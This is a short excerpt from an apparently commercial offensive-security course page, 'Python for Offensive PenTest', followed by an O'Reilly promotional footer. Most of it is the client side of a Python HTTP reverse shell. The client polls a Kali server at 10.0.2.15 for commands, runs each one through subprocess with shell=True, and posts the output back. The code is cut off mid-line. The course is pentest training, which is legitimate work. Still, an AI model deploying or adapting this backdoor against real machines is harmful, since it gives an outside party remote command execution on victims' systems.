Client side

The following block of code is on the client side:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# Basic HTTP Clientimport requests # Download Link https://pypi.python.org/pypi/requests#downloads , just extract the rar file and follow the video :)import subprocess import timewhile True:     req = requests.get('http://10.0.2.15') # Send GET request to our kali server    command = req.text # Store the received txt into command variable            if 'terminate' in command:        break     else:        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', ...

Get Python for Offensive PenTest now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.